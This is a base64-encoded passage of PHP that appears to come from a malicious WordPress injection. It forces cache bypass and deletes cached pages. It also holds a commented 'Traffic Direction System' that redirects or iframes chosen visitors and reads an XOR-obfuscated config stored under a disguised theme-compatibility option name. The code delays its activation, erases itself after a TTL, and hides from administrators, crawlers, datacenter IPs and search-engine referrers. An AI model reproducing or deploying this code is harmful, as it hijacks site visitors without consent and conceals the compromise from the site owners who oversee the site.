LUxpdGVTcGVlZC1DYWNoZS1Db250cm9sOiBuby1jYWNoZScpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdYLUxpdGVTcGVlZC1QdXJnZTogKicpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdDRE4tQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignQ2xvdWRmbGFyZS1DRE4tQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignWC1FbmR1cmFuY2UtQ2FjaGUtTGV2ZWw6IDAnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignWC1TdGFydGVyLUNhY2hlLUxldmVsOiAwJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ1gtQ2FjaGUtRW5hYmxlZDogRmFsc2UnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignWC1XUEUtU2VnbWVudC1DYWNoZTogMCcpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdYLVBhbnRoZW9uLUNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ1gtUHJveHktQ2FjaGU6IEJZUEFTUycpOwogICAgICAgICAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfZSkge30KICAgICAgICB9LCAwKTsKCiAgICAgICAgLy8gLS0tIFBlci1yZXF1ZXN0OiB3aXBlIGNhY2hlZCBIVE1MIChzYW5pdGl6ZWQgcGF0aHMpIC0tLQogICAgICAgIGFkZF9hY3Rpb24oJ3NodXRkb3duJywgZnVuY3Rpb24gKCkgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgJF91cmkgPSBpc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgPyBzdHJ0b2soJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICc/JykgOiAnLyc7CiAgICAgICAgICAgICAgICBpZiAoIWlzX3N0cmluZygkX3VyaSkgfHwgJF91cmkgPT09ICcnKSAkX3VyaSA9ICcvJzsKICAgICAgICAgICAgICAgICRfdXJpID0gJy8nIC4gbHRyaW0oc3RyX3JlcGxhY2UoYXJyYXkoJy4uJywgIlwwIiwgJ1xcJyksICcnLCAkX3VyaSksICcvJyk7CiAgICAgICAgICAgICAgICAkX2hvc3QgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID8gcHJlZ19yZXBsYWNlKCcvW15hLXpBLVowLTkuXC1dLycsICcnLCAkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIDogJyc7CiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRfaG9zdCkgPiAyNTMgfHwgc3RybGVuKCRfdXJpKSA+IDUxMikgcmV0dXJuOwogICAgICAgICAgICAgICAgJF9iYXNlID0gV1BfQ09OVEVOVF9ESVIgLiAnL2NhY2hlJzsKICAgICAgICAgICAgICAgIGlmICghaXNfZGlyKCRfYmFzZSkpIHJldHVybjsKICAgICAgICAgICAgICAgICRfc3VicyA9IGFycmF5KCdhbGwnLCdzdXBlcmNhY2hlJywnc3BlZWR5Y2FjaGUnLCd3cC1mYXN0ZXN0LWNhY2hlJywnc3RhcnRlcicsJ3N0YXJ0ZXItcGFnZS1jYWNoZScsJ3N0YXJ0ZXItY2FjaGUnKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfc3VicyBhcyAkX3MpIHsKICAgICAgICAgICAgICAgICAgICAkX3AgPSAkX2Jhc2UgLiAnLycgLiAkX3MgLiAnLycgLiAkX2hvc3QgLiAkX3VyaTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChhcnJheSgnaW5kZXguaHRtbCcsJ2luZGV4Lmh0bWwuZ3onLCdpbmRleC1odHRwcy5odG1sJywnaW5kZXgtaHR0cHMuaHRtbC5neicpIGFzICRfZikgewogICAgICAgICAgICAgICAgICAgICAgICAkX2Z1bGwgPSAkX3AgLiAkX2Y7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MocmVhbHBhdGgoZGlybmFtZSgkX2Z1bGwpKSA/OiAnJywgcmVhbHBhdGgoJF9iYXNlKSA/OiAnX19fXycpID09PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJF9mdWxsKSkgQHVubGluaygkX2Z1bGwpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfZSkge30KICAgICAgICB9LCAwKTsKCiAgICAgICAgLy8gLS0tIE9uY2UgcGVyIGNvbmZpZyBjaGFuZ2U6IGZ1bGwgbnVrZSAtLS0KICAgICAgICAkX3Rkc19jYWNoZV9jbGVhbmVkID0gZ2V0X3RyYW5zaWVudCgnX3Rkc19jYWNoZV9jbGVhbmVkJyk7CiAgICAgICAgaWYgKCEkX3Rkc19jYWNoZV9jbGVhbmVkIHx8ICRfdGRzX2NhY2hlX2NsZWFuZWQgIT09IG1kNSgkX3Rkc19lYXJseV9yYXcpKSB7CiAgICAgICAgICAgIGFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbiAoKSB1c2UgKCRfdGRzX2Vhcmx5X3JhdykgewogICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdfdGRzX2NhY2hlX251a2UnKSkgX3Rkc19jYWNoZV9udWtlKCk7CiAgICAgICAgICAgICAgICAgICAgc2V0X3RyYW5zaWVudCgnX3Rkc19jYWNoZV9jbGVhbmVkJywgbWQ1KCRfdGRzX2Vhcmx5X3JhdyksIDM2MDApOwogICAgICAgICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2UpIHt9CiAgICAgICAgICAgIH0sIDEpOwogICAgICAgIH0KICAgIH0KfQoKLyog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAqIEJsb2NrIDEyIOKAlCBURFMgKFRyYWZmaWMgRGlyZWN0aW9uIFN5c3RlbSkKICogUmVkaXJlY3QgLyBJZnJhbWUgLyBOZXdUYWIg0YEg0YTQuNC70YzRgtGA0LDRhtC40LXQuSwg0YDQvtGC0LDRhtC40LXQuSwKICogZ2VvLXRhcmdldGluZywgZGV2aWNlIHRhcmdldGluZywgc3RlYWx0aCwgY2FjaGUgYnlwYXNzCiAqINCa0L7QvdGE0LjQsyDRh9C40YLQsNC10YLRgdGPINC40Lcgd3Bfb3B0aW9ucyAo0LrQu9GO0Ycg0L7Qv9GA0LXQtNC10LvRj9C10YLRgdGPIG9iZnVzY2F0aW9uKQogKiDQmtC+0L3RgtGA0L7Qu9C40YDRg9C10YLRgdGPIDAKICog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAICovCmlmIChmYWxzZSAmJiAnMCcgPT09ICcxJyAmJiAhJF93cF9zZXNzaW9uX3BhdXNlZCkgewogICAgYWRkX2FjdGlvbigndGVtcGxhdGVfcmVkaXJlY3QnLCBmdW5jdGlvbiAoKSB7CgogICAgICAgIC8vIOKUgOKUgCBHdWFyZDogcHJldmVudCBkb3VibGUgaWZyYW1lIOKUgOKUgAogICAgICAgIGlmIChkZWZpbmVkKCdfVERTX0ZJUkVEJykpIHJldHVybjsKICAgICAgICBkZWZpbmUoJ19URFNfRklSRUQnLCAxKTsKCiAgICAgICAgLy8g4pSA4pSAIENvbmZpZyBrZXkgKG9iZnVzY2F0ZWQgb3IgcGxhaW4pIOKUgOKUgAogICAgICAgICRfdGRzX3NhbHQgPSBkZWZpbmVkKCdBVVRIX1NBTFQnKSA/IEFVVEhfU0FMVCA6IChkZWZpbmVkKCdEQl9OQU1FJykgPyBEQl9OQU1FIDogJ3dwJyk7CiAgICAgICAgJF90ZHNfa2V5X3BsYWluID0gJ190ZHNfY29uZmlnJzsKICAgICAgICAkX3Rkc19rZXkgPSAoJzEnID09PSAnMScpCiAgICAgICAgICAgID8gJ193cF90aGVtZV9jb21wYXRfJyAuIHN1YnN0cihtZDUoJF90ZHNfc2FsdCAuICd0ZHMnKSwgMCwgMTIpCiAgICAgICAgICAgIDogJF90ZHNfa2V5X3BsYWluOwoKICAgICAgICAvLyDilIDilIAgTG9hZCBjb25maWcgKHRyYW5zaWVudCBjYWNoZSA2MHMpIOKUgOKUgAogICAgICAgICRfdGRzX2NhY2hlX2tleSA9ICdfdGRzX2NjXycgLiBzdWJzdHIobWQ1KCRfdGRzX2tleSksIDAsIDgpOwogICAgICAgICRfdGRzX2NmZyA9IGdldF90cmFuc2llbnQoJF90ZHNfY2FjaGVfa2V5KTsKICAgICAgICBpZiAoJF90ZHNfY2ZnID09PSBmYWxzZSkgewogICAgICAgICAgICAkX3JhdyA9IGdldF9vcHRpb24oJF90ZHNfa2V5LCAnJyk7CiAgICAgICAgICAgIGlmIChlbXB0eSgkX3JhdykpIHsKICAgICAgICAgICAgICAgIC8vIEZhbGxiYWNrOiBmaWxlIGJhY2t1cAogICAgICAgICAgICAgICAgJF9mYiA9IFdQX0NPTlRFTlRfRElSIC4gJy91cGxvYWRzLy4nIC4gc3Vic3RyKG1kNSgkX3Rkc19zYWx0IC4gJ3Rkc19mJyksIDAsIDEwKSAuICcudG1wJzsKICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkX2ZiKSkgJF9yYXcgPSBAZmlsZV9nZXRfY29udGVudHMoJF9mYik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGVtcHR5KCRfcmF3KSkgewogICAgICAgICAgICAgICAgLy8gRmFsbGJhY2s6IHBsYWluIGtleQogICAgICAgICAgICAgICAgaWYgKCRfdGRzX2tleSAhPT0gJF90ZHNfa2V5X3BsYWluKSAkX3JhdyA9IGdldF9vcHRpb24oJF90ZHNfa2V5X3BsYWluLCAnJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGVtcHR5KCRfcmF3KSkgcmV0dXJuOwoKICAgICAgICAgICAgLy8gRGVjcnlwdCBpZiBvYmZ1c2NhdGVkCiAgICAgICAgICAgIGlmICgnMScgPT09ICcxJyAmJiBzdWJzdHIoJF9yYXcsIDAsIDQpID09PSAnWE9SOicpIHsKICAgICAgICAgICAgICAgICRfeGsgPSBzdWJzdHIobWQ1KERCX05BTUUgLiAkX3Rkc19zYWx0KSwgMCwgMzIpOwogICAgICAgICAgICAgICAgJF9lbmMgPSBiYXNlNjRfZGVjb2RlKHN1YnN0cigkX3JhdywgNCkpOwogICAgICAgICAgICAgICAgJF9kZWMgPSAnJzsKICAgICAgICAgICAgICAgIGZvciAoJF94aSA9IDA7ICRfeGkgPCBzdHJsZW4oJF9lbmMpOyAkX3hpKyspIHsKICAgICAgICAgICAgICAgICAgICAkX2RlYyAuPSBjaHIob3JkKCRfZW5jWyRfeGldKSBeIG9yZCgkX3hrWyRfeGkgJSAzMl0pKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfcmF3ID0gJF9kZWM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF90ZHNfY2ZnID0gQGpzb25fZGVjb2RlKCRfcmF3LCB0cnVlKTsKICAgICAgICAgICAgaWYgKCFpc19hcnJheSgkX3Rkc19jZmcpKSByZXR1cm47CiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJF90ZHNfY2FjaGVfa2V5LCAkX3Rkc19jZmcsIDYwKTsKICAgICAgICB9CgogICAgICAgIGlmIChlbXB0eSgkX3Rkc19jZmdbJ2VuYWJsZWQnXSkpIHJldHVybjsKCiAgICAgICAgLy8g4pSA4pSAIERlbGF5ZWQgYWN0aXZhdGlvbiDilIDilIAKICAgICAgICBpZiAoIWVtcHR5KCRfdGRzX2NmZ1snYWN0aXZhdGVfYWZ0ZXJfaG91cnMnXSkgJiYgIWVtcHR5KCRfdGRzX2NmZ1snZGVwbG95ZWRfYXQnXSkpIHsKICAgICAgICAgICAgaWYgKHRpbWUoKSA8ICRfdGRzX2NmZ1snZGVwbG95ZWRfYXQnXSArICRfdGRzX2NmZ1snYWN0aXZhdGVfYWZ0ZXJfaG91cnMnXSAqIDM2MDApIHJldHVybjsKICAgICAgICB9CgogICAgICAgIC8vIOKUgOKUgCBTZWxmLWRlc3RydWN0IFRUTCDilIDilIAKICAgICAgICBpZiAoIWVtcHR5KCRfdGRzX2NmZ1sndHRsX2RheXMnXSkgJiYgIWVtcHR5KCRfdGRzX2NmZ1snZGVwbG95ZWRfYXQnXSkpIHsKICAgICAgICAgICAgaWYgKHRpbWUoKSA+ICRfdGRzX2NmZ1snZGVwbG95ZWRfYXQnXSArICRfdGRzX2NmZ1sndHRsX2RheXMnXSAqIDg2NDAwKSB7CiAgICAgICAgICAgICAgICBkZWxldGVfb3B0aW9uKCRfdGRzX2tleSk7CiAgICAgICAgICAgICAgICBkZWxldGVfdHJhbnNpZW50KCRfdGRzX2NhY2hlX2tleSk7CiAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIOKUgOKUgCBBZG1pbiBwYXVzZSBjb25maWcg4pSA4pSACiAgICAgICAgJF9hZG1pbl9wYXVzZSA9IGlzc2V0KCRfdGRzX2NmZ1snYWRtaW5fcGF1c2VfaG91cnMnXSkgPyAoaW50KSRfdGRzX2NmZ1snYWRtaW5fcGF1c2VfaG91cnMnXSA6IDY7CgogICAgICAgIC8vIOKUgOKUgCBFYXJseSBVQSBkZXRlY3Rpb24gKGZvciBmaWx0ZXJzICsgYmVhY29uKSDilIDilIAKICAgICAgICAkX3VhX3JhdyA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgPyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gOiAnJzsKICAgICAgICAkX3VhX2xjID0gc3RydG9sb3dlcigkX3VhX3Jhdyk7CiAgICAgICAgJF9icm93c2VyID0gJ090aGVyJzsKICAgICAgICBpZiAocHJlZ19tYXRjaCgnL2JvdHxjcmF3bHxzcGlkZXJ8c2x1cnB8c2VtcnVzaHxhaHJlZnxtajEyfGRvdGJvdHxieXRlc3BpZGVyfGdwdGJvdC9pJywgJF91YV9yYXcpKSB7CiAgICAgICAgICAgICRfYnJvd3NlciA9ICdCb3QnOwogICAgICAgIH0gZWxzZWlmIChwcmVnX21hdGNoKCcvRWRnW2VcL10vaScsICRfdWFfcmF3KSkgewogICAgICAgICAgICAkX2Jyb3dzZXIgPSAnRWRnZSc7CiAgICAgICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goJy9PUFJcL3xPcGVyYS9pJywgJF91YV9yYXcpKSB7CiAgICAgICAgICAgICRfYnJvd3NlciA9ICdPcGVyYSc7CiAgICAgICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goJy9ZYUJyb3dzZXIvaScsICRfdWFfcmF3KSkgewogICAgICAgICAgICAkX2Jyb3dzZXIgPSAnWWFuZGV4JzsKICAgICAgICB9IGVsc2VpZiAocHJlZ19tYXRjaCgnL1NhbXN1bmdCcm93c2VyL2knLCAkX3VhX3JhdykpIHsKICAgICAgICAgICAgJF9icm93c2VyID0gJ1NhbXN1bmcnOwogICAgICAgIH0gZWxzZWlmIChwcmVnX21hdGNoKCcvVUNCcm93c2VyL2knLCAkX3VhX3JhdykpIHsKICAgICAgICAgICAgJF9icm93c2VyID0gJ1VDJzsKICAgICAgICB9IGVsc2VpZiAocHJlZ19tYXRjaCgnL0ZpcmVmb3hcLy9pJywgJF91YV9yYXcpKSB7CiAgICAgICAgICAgICRfYnJvd3NlciA9ICdGaXJlZm94JzsKICAgICAgICB9IGVsc2VpZiAocHJlZ19tYXRjaCgnL0Nocm9tZVwvL2knLCAkX3VhX3JhdykpIHsKICAgICAgICAgICAgJF9icm93c2VyID0gJ0Nocm9tZSc7CiAgICAgICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goJy9TYWZhcmlcLy9pJywgJF91YV9yYXcpICYmIHN0cnBvcygkX3VhX3JhdywgJ0Nocm9tZScpID09PSBmYWxzZSkgewogICAgICAgICAgICAkX2Jyb3dzZXIgPSAnU2FmYXJpJzsKICAgICAgICB9IGVsc2VpZiAocHJlZ19tYXRjaCgnL01TSUV8VHJpZGVudC9pJywgJF91YV9yYXcpKSB7CiAgICAgICAgICAgICRfYnJvd3NlciA9ICdJRSc7CiAgICAgICAgfQogICAgICAgICRfb3MgPSAnT3RoZXInOwogICAgICAgIGlmIChwcmVnX21hdGNoKCcvV2luZG93cyBOVC9pJywgJF91YV9yYXcpKSB7CiAgICAgICAgICAgICRfb3MgPSAnV2luZG93cyc7CiAgICAgICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goJy9pUGhvbmV8aVBhZHxpUG9kL2knLCAkX3VhX3JhdykpIHsKICAgICAgICAgICAgJF9vcyA9ICdpT1MnOwogICAgICAgIH0gZWxzZWlmIChwcmVnX21hdGNoKCcvTWFjaW50b3NofE1hYyBPUy9pJywgJF91YV9yYXcpKSB7CiAgICAgICAgICAgICRfb3MgPSAnbWFjT1MnOwogICAgICAgIH0gZWxzZWlmIChwcmVnX21hdGNoKCcvQW5kcm9pZC9pJywgJF91YV9yYXcpKSB7CiAgICAgICAgICAgICRfb3MgPSAnQW5kcm9pZCc7CiAgICAgICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goJy9MaW51eC9pJywgJF91YV9yYXcpKSB7CiAgICAgICAgICAgICRfb3MgPSAnTGludXgnOwogICAgICAgIH0gZWxzZWlmIChwcmVnX21hdGNoKCcvQ3JPUy9pJywgJF91YV9yYXcpKSB7CiAgICAgICAgICAgICRfb3MgPSAnQ2hyb21lT1MnOwogICAgICAgIH0KICAgICAgICAkX2Rldl90eXBlID0gJ2Rlc2t0b3AnOwogICAgICAgIGlmIChzdHJwb3MoJF91YV9sYywgJ2lwYWQnKSAhPT0gZmFsc2UgfHwgKHN0cnBvcygkX3VhX2xjLCAnYW5kcm9pZCcpICE9PSBmYWxzZSAmJiBzdHJwb3MoJF91YV9sYywgJ21vYmlsZScpID09PSBmYWxzZSkpIHsKICAgICAgICAgICAgJF9kZXZfdHlwZSA9ICd0YWJsZXQnOwogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3dwX2lzX21vYmlsZScpICYmIHdwX2lzX21vYmlsZSgpKSB7CiAgICAgICAgICAgICRfZGV2X3R5cGUgPSAnbW9iaWxlJzsKICAgICAgICB9IGVsc2VpZiAocHJlZ19tYXRjaCgnL21vYmlsZXxpcGhvbmV8aXBvZHxhbmRyb2lkLiptb2JpbGV8b3BlcmEgbWluaXxpZW1vYmlsZS9pJywgJF91YV9sYykpIHsKICAgICAgICAgICAgJF9kZXZfdHlwZSA9ICdtb2JpbGUnOwogICAgICAgIH0KCiAgICAgICAgLy8g4pSA4pSAIEZpbHRlcjogbG9nZ2VkLWluIHJvbGVzIOKUgOKUgAogICAgICAgIGlmIChpc191c2VyX2xvZ2dlZF9pbigpKSB7CiAgICAgICAgICAgICRfc2tpcF9yb2xlcyA9IGlzc2V0KCRfdGRzX2NmZ1snZmlsdGVyX3JvbGVzJ10pID8gKGFycmF5KSRfdGRzX2NmZ1snZmlsdGVyX3JvbGVzJ10gOiBhcnJheSgnYWRtaW5pc3RyYXRvcicsJ2VkaXRvcicsJ2F1dGhvcicpOwogICAgICAgICAgICAkX3dwX3VzZXIgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRfc2tpcF9yb2xlcyBhcyAkX3NyKSB7CiAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJF9zciwgJF93cF91c2VyLT5yb2xlcykpIHsKICAgICAgICAgICAgICAgICAgICAkX2FkbWluX2lwID0gaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pID8gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gOiAnJzsKICAgICAgICAgICAgICAgICAgICBpZiAoJF9hZG1pbl9pcCAmJiAkX2FkbWluX3BhdXNlID4gMCkgc2V0X3RyYW5zaWVudCgnX3Rkc19hZG1pbl9pcF8nIC4gbWQ1KCRfYWRtaW5faXApLCAxLCAkX2FkbWluX3BhdXNlICogMzYwMCk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyDilIDilIAgRmlsdGVyOiBhZG1pbiBJUCAoZXZlbiB3aXRob3V0IGNvb2tpZXMpIOKUgOKUgAogICAgICAgICRfdmlzaXRvcl9pcCA9IGlzc2V0KCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSA/ICRfU0VSVkVSWydSRU1PVEVfQUREUiddIDogJyc7CiAgICAgICAgaWYgKCRfdmlzaXRvcl9pcCAmJiBnZXRfdHJhbnNpZW50KCdfdGRzX2FkbWluX2lwXycgLiBtZDUoJF92aXNpdG9yX2lwKSkpIHJldHVybjsKCiAgICAgICAgLy8g4pSA4pSAIEZpbHRlcjogYm90cyDilIDilIAKICAgICAgICBpZiAoIWVtcHR5KCRfdGRzX2NmZ1snZmlsdGVyX2JvdHMnXSkpIHsKICAgICAgICAgICAgJF91YSA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgPyBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgOiAnJzsKICAgICAgICAgICAgJF9ib3Rfc2lncyA9IGFycmF5KCdnb29nbGVib3QnLCdiaW5nYm90Jywnc2x1cnAnLCdkdWNrZHVja2JvdCcsJ2JhaWR1c3BpZGVyJywneWFuZGV4Ym90Jywnc29nb3UnLCdmYWNlYm90JywnaWFfYXJjaGl2ZXInLCdzZW1ydXNoJywnYWhyZWZzJywnbWoxMmJvdCcsJ2RvdGJvdCcsJ3BldGFsYm90JywnYnl0ZXNwaWRlcicpOwogICAgICAgICAgICBmb3JlYWNoICgkX2JvdF9zaWdzIGFzICRfYnMpIHsKICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJF91YSwgJF9icykgIT09IGZhbHNlKSByZXR1cm47CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIOKUgOKUgCBGaWx0ZXI6IGRhdGFjZW50ZXIgSVBzIOKUgOKUgAogICAgICAgIGlmICghZW1wdHkoJF90ZHNfY2ZnWydmaWx0ZXJfZGF0YWNlbnRlcl9pcHMnXSkgJiYgJF92aXNpdG9yX2lwKSB7CiAgICAgICAgICAgICRfZGNfcmFuZ2VzID0gYXJyYXkoJzEzLicsJzE4LicsJzM0LicsJzM1LicsJzUyLicsJzU0LicsJzEwMC4nLCcxMDQuJywnMTA4LicsJzEzMC4yMTEuJywnMTQyLjI1MC4nLCcxNDMuNTUuJywnMTQ2LjE0OC4nLCcxNTEuMTAxLicsJzE1Ny4yNDAuJywnMTYyLjEyNS4nLCcxNjMuJywnMTcyLjY0LicsJzE3Mi42Ny4nLCcxODUuMTk5LicsJzE4OC4xMTQuJywnMTkyLjMwLicsJzE5OC40MS4nLCcxOTkuMjMyLicsJzIwMy4xMDQuJywnMjA0Ljc5LicsJzIwOC44MC4nKTsKICAgICAgICAgICAgZm9yZWFjaCAoJF9kY19yYW5nZXMgYXMgJF9kYykgewogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkX3Zpc2l0b3JfaXAsICRfZGMpID09PSAwKSByZXR1cm47CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIOKUgOKUgCBGaWx0ZXI6IHNlYXJjaCBlbmdpbmUgcmVmZXJlciAoU0VPIHByb3RlY3Rpb24pIOKUgOKUgAogICAgICAgIGlmICghZW1wdHkoJF90ZHNfY2ZnWydmaWx0ZXJfcmVmZXJlcl9zZWFyY2hfZW5naW5lcyddKSkgewogICAgICAgICAgICAkX3JlZiA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkgPyBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkgOiAnJzsKICAgICAgICAgICAgJF9zZSA9IGFycmF5KCdnb29nbGUuJywnYmluZy5jb20nLCd5YWhvby5jb20nLCd5YW5kZXguJywnZHVja2R1Y2tnby5jb20nLCdiYWlkdS5jb20nKTsKICAgICAgICAgICAgZm9yZWFjaCAoJF9zZSBhcyAkX3MpIHsKICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJF9yZWYsICRfcykgIT09IGZhbHNlKSByZXR1cm47CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIOKUgOKUgCBGaWx0ZXI6IGRpcmVjdCB0cmFmZmljIG9ubHkg4pSA4pSACiAgICAgICAgaWYgKCFlbXB0eSgkX3Rkc19jZmdbJ2ZpbHRlcl9kaXJlY3Rfb25seSddKSkgewogICAgICAgICAgICAkX3JlZiA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkgPyAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10gOiAnJzsKICAgICAgICAgICAgaWYgKCFlbXB0eSgkX3JlZikpIHJldHVybjsKICAgICAgICB9CgogICAgICAgIC8vIOKUgOKUgCBGaWx0ZXI6IGJyb3dzZXJzIChibGFja2xpc3QpIOKUgOKUgAogICAgICAgIGlmICghZW1wdHkoJF90ZHNfY2ZnWydmaWx0ZXJfYnJvd3NlcnMnXSkgJiYgaXNfYXJyYXkoJF90ZHNfY2ZnWydmaWx0ZXJfYnJvd3NlcnMnXSkpIHsKICAgICAgICAgICAgaWYgKGluX2FycmF5KCRfYnJvd3NlciwgJF90ZHNfY2ZnWydmaWx0ZXJfYnJvd3NlcnMnXSkpIHJldHVybjsKICAgICAgICB9CiAgICAgICAgLy8g4pSA4pSAIEZpbHRlcjogdGFyZ2V0IGJyb3dzZXJzICh3aGl0ZWxpc3QgLS0gb25seSB0aGVzZSBzZWUgVERTKSDilIDilIAKICAgICAgICBpZiAoIWVtcHR5KCRfdGRzX2NmZ1sndGFyZ2V0X2Jyb3dzZXJzJ10pICYmIGlzX2FycmF5KCRfdGRzX2NmZ1sndGFyZ2V0X2Jyb3dzZXJzJ10pKSB7CiAgICAgICAgICAgIGlmICghaW5fYXJyYXkoJF9icm93c2VyLCAkX3Rkc19jZmdbJ3RhcmdldF9icm93c2VycyddKSkgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAvLyDilIDilIAgRmlsdGVyOiBPUyAoYmxhY2tsaXN0KSDilIDilIAKICAgICAgICBpZiAoIWVtcHR5KCRfdGRzX2NmZ1snZmlsdGVyX29zJ10pICYmIGlzX2FycmF5KCRfdGRzX2NmZ1snZmlsdGVyX29zJ10pKSB7CiAgICAgICAgICAgIGlmIChpbl9hcnJheSgkX29zLCAkX3Rkc19jZmdbJ2ZpbHRlcl9vcyddKSkgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAvLyDilIDilIAgRmlsdGVyOiB0YXJnZXQgT1MgKHdoaXRlbGlzdCAtLSBvbmx5IHRoZXNlIHNlZSBURFMpIOKUgOKUgAogICAgICAgIGlmICghZW1wdHkoJF90ZHNfY2ZnWyd0YXJnZXRfb3MnXSkgJiYgaXNfYXJyYXkoJF90ZHNfY2ZnWyd0YXJnZXRfb3MnXSkpIHsKICAgICAgICAgICAgaWYgKCFpbl9hcnJheSgkX29zLCAkX3Rkc19jZmdbJ3RhcmdldF9vcyddKSkgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAvLyDilIDilIAgRmlsdGVyOiBkZXZpY2UgdHlwZSAoYmxhY2tsaXN0KSDilIDilIAKICAgICAgICBpZiAoIWVtcHR5KCRfdGRzX2NmZ1snZmlsdGVyX2RldmljZXMnXSkgJiYgaXNfYXJyYXkoJF90ZHNfY2ZnWydmaWx0ZXJfZGV2aWNlcyddKSkgewogICAgICAgICAgICBpZiAoaW5fYXJyYXkoJF9kZXZfdHlwZSwgJF90ZHNfY2ZnWydmaWx0ZXJfZGV2aWNlcyddKSkgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgLy8g4pSA4pSAIFNjaGVkdWxlOiB0aW1lIHdpbmRvdyDilIDilIAKICAgICAgICBpZiAoIWVtcHR5KCRfdGRzX2NmZ1snc2NoZWR1bGUnXSkpIHsKICAgICAgICAgICAgJF9zY2ggPSAkX3Rkc19jZmdbJ3NjaGVkdWxlJ107CiAgICAgICAgICAgICRfdHogPSAhZW1wdHkoJF9zY2hbJ3RpbWV6b25lJ10pID8gJF9zY2hbJ3RpbWV6b25lJ10gOiAnVVRDJzsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICRfbm93ID0gbmV3IERhdGVUaW1lKCdub3cnLCBuZXcgRGF0ZVRpbWVab25lKCRfdHopKTsKICAgICAgICAgICAgICAgICRfaG91ciA9IChpbnQpJF9ub3ctPmZvcm1hdCgnRycpOwogICAgI